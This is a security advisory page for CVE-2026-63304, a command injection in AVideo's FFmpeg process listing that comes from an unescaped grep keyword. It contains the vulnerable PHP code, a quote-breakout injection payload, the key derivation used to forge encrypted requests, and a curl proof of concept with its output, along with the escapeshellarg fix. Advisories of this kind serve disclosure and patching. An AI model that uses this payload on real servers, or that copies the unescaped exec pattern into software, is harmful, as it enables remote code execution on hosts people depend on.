# CVE-2026-63304: AVideo API vulnerable to OS command injection through an unescaped FFmpeg process keyword

- **Severity:** HIGH 8.1
- **CVSS:** 8.1 (v3.1, GitHub) `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: High; Privileges required: None; User interaction: None; Scope: Unchanged; Confidentiality impact: High; Integrity impact: High; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, no login needed
- **EPSS:** 1.73% (percentile 78, 2026-12-05)
- **CWE:** CWE-78
- **Aliases:** GHSA-j44m-77cc-p3cc
- **Published:** 2026-11-23T22:06:28.000Z
- **Modified:** 2026-11-24T20:54:45.000Z

## Who should check

- Projects that depend on Packagist package wwbn/avideo (\< 29.1.0)

## Description

\#\#\# Summary

The helper \`listFFmpegProcesses($keyword)\` in \`plugin/API/standAlone/functions.php\` builds a shell pipeline by interpolating \`$keyword\` inside single quotes and running it with \`exec()\`:

\`\`\`php
$command .= " \| grep '$keyword'";
exec($command, $output, $status);
\`\`\`

The two callers in \`plugin/API/standAlone/ffmpeg.json.php\` (the \`list\` mode and the \`isKeywordRunning\` mode) pass the RAW decrypted \`codeToExec\` field, not the sanitized \`$keyword\` variable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for example \`x'; touch /tmp/marker \#\`) breaks out and injects an arbitrary command that runs via \`exec()\`'s \`/bin/sh -c\`. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user.

\#\#\# Vulnerable code

Sink — \`plugin/API/standAlone/functions.php\`, \`listFFmpegProcesses()\` (around lines 139-147):

\`\`\`php
function listFFmpegProcesses($keyword = '')
{
    $command = "ps -eo pid,etime,%cpu,%mem,cmd \| grep '\[f\]fmpeg'";

    if (!empty($keyword)) {
        $command .= " \| grep '$keyword'";   // $keyword interpolated inside single quotes, unescaped
    }

    exec($command, $output, $status);       // runs via /bin/sh -c
\`\`\`

Callers — \`plugin/API/standAlone/ffmpeg.json.php\` pass the RAW decrypted field, bypassing the allowlisting applied to the local \`$keyword\` variable. That local variable is built at line ~136 as \`$keyword = preg\_replace('/\[^a-zA-Z0-9\_-\]/', '', $codeToExec-\>keyword)\`, but the two callers below never use it:

\`\`\`php
// list mode (line ~221)
$list = listFFmpegProcesses($codeToExec-\>keyword);

// isKeywordRunning mode (line ~341)
$list = listFFmpegProcesses($codeToExec-\>isKeywordRunning);
\`\`\`

Neither mode is gated by the \`$isStandAlone\` check that guards the \`deleteFolder\` / \`deleteFile\` modes, so both run on any AVideo instance.

\#\#\# Reachability

Reached by sending a \`codeToExec\` payload with either \`list = 1\` and a malicious \`keyword\`, or with a malicious \`isKeywordRunning\` value. Both modes call \`listFFmpegProcesses()\` with the raw field before any allowlist is applied to it.

\#\#\# Privilege required

Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted \`codeToExec\` payload with a valid \`APISecret\`. \`\_decryptString()\` calls the platform \`decryptString\` API (AES-256-CBC; key = \`hash('sha256', $global\['saltV2'\])\`, iv = \`substr(hash('sha256', $global\['systemRootPath'\]), 0, 16)\`), and the payload is accepted when \`payload-\>time\` is within the last 30 seconds. No interactive login is required.

\#\#\# Reproduction (end-to-end, against master HEAD)

Deployed the master HEAD source (commit \`8eaca9d5\`, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed the \`decryptString\` / \`isAPISecretValid\` platform APIs live over HTTP. \`APISecret\` is \`md5($global\['salt'\] . $global\['systemRootPath'\] . 'API')\`.

A \`codeToExec\` was encrypted (\`encryptString()\`) with:
- \`time\` = now
- \`list\` = 1
- \`keyword\` = \`x'; touch /tmp/avideo\_kw\_rce\_1782909694\_20509 \#\`

POST:

\`\`\`
curl -s -X POST "http://\<host\>/plugin/API/standAlone/ffmpeg.json.php" \\
  --data-urlencode "APISecret=\<APISecret\>" \\
  --data-urlencode "codeToExecEncrypted=\<encrypted codeToExec\>"
\`\`\`

Verbatim response (normal list output while the injection ran as a side effect):

\`\`\`
{"error":false,"msg":"","list":\[\]}
\`\`\`

The injected \`touch\` ran (marker created by the web-server user):

\`\`\`
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo\_kw\_rce\_1782909694\_20509
\`\`\`

Same result through the \`isKeywordRunning\` mode (payload \`x'; touch /tmp/avideo\_ikr\_rce\_1782909715\_3303 \#\`):

\`\`\`
{"error":true,"msg":"No FFmpeg process found with the given keyword","isRunning":false,"keyword":"x'; touch /tmp/avideo\_ikr\_rce\_1782909715\_3303 \#"}
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo\_ikr\_rce\_1782909715\_3303
\`\`\`

Negative control (benign alphanumeric keyword \`benignkw123\`, \`list\` mode): same code path, marker NOT created:

\`\`\`
{"error":false,"msg":"","list":\[\]}
ls: cannot access '/tmp/avideo\_kwneg\_1782909713\_28529': No such file or directory
\`\`\`

Patched re-run (after applying \`escapeshellarg()\` as below): the injection is neutralized and the marker is NOT created:

\`\`\`
{"error":false,"msg":"","list":\[\]}
ls: cannot access '/tmp/avideo\_kw\_rce\_PATCHED\_1782909782\_8294': No such file or directory
\`\`\`

\#\#\# Impact

Arbitrary OS command execution on the AVideo host as the web-server user (the account that owns the application files, configuration, database credentials, and \`saltV2\`). An attacker can read and modify site data, pivot to the database, and persist. This is a distinct sink (the \`grep\` single-quote breakout in \`listFFmpegProcesses\`) from the completion-hook concatenation elsewhere in the same endpoint, and it is reachable through two different modes.

\#\#\# Suggested fix

Escape the keyword at the shell boundary in \`listFFmpegProcesses()\`:

\`\`\`php
if (!empty($keyword)) {
    $command .= " \| grep " . escapeshellarg($keyword);
}
\`\`\`

Alternatively, have the \`list\` / \`isKeywordRunning\` callers pass the already-allowlisted \`$keyword\` value instead of the raw decrypted field. Escaping inside \`listFFmpegProcesses()\` is preferred because it protects every caller.

\#\#\# Credit

Reported by tonghuaroot.

## Affected and fixed versions

- Packagist `wwbn/avideo`: affected \< 29.1.0; fixed 29.1.0 (ghsa)

## Technologies

Composer packages

## Mitigation

- Upgrade wwbn/avideo to 29.1.0 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-63304. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-63304.md
Affected: wwbn/avideo < 29.1.0
Fixed in: 29.1.0

Steps:
1. Search this machine and project for wwbn/avideo (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-63304 being exploited?

There is no confirmed exploitation: CVE-2026-63304 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 1.73% chance of exploitation in the next 30 days (as of 2026-12-05).

### How serious is CVE-2026-63304?

High: CVSS 8.1 (v3.1, scored by GitHub). Remote, no login needed. The attack needs conditions outside the attacker's control, which makes it harder.

### Which versions are affected by CVE-2026-63304?

wwbn/avideo \< 29.1.0.

### Is there a fix for CVE-2026-63304?

Yes. Fixed in 29.1.0. Upgrade wwbn/avideo to 29.1.0 or later.

### How do I check if I'm affected by CVE-2026-63304?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/WWBN/AVideo/security/advisories/GHSA-j44m-77cc-p3cc>
- patch: <https://github.com/WWBN/AVideo/commit/7559ddf72f48684cc40ae78be9cebcaa07f5fa06>
- other: <https://github.com/WWBN/AVideo/releases/tag/v29.1.0>
- other: <https://nvd.nist.gov/vuln/detail/CVE-2026-63304>
- other: <https://www.vulncheck.com/advisories/avideo-through-os-command-injection-via-listffmpegprocesses>
- other: <https://github.com/advisories/GHSA-j44m-77cc-p3cc>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- GitHub Advisory Database: CC-BY 4.0 <https://github.com/advisories/GHSA-j44m-77cc-p3cc> (license: <https://creativecommons.org/licenses/by/4.0/>)
- FIRST EPSS: EPSS scores by FIRST <https://www.first.org/epss/>

HTML: <https://flawdb.com/CVE-2026-63304> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-63304>
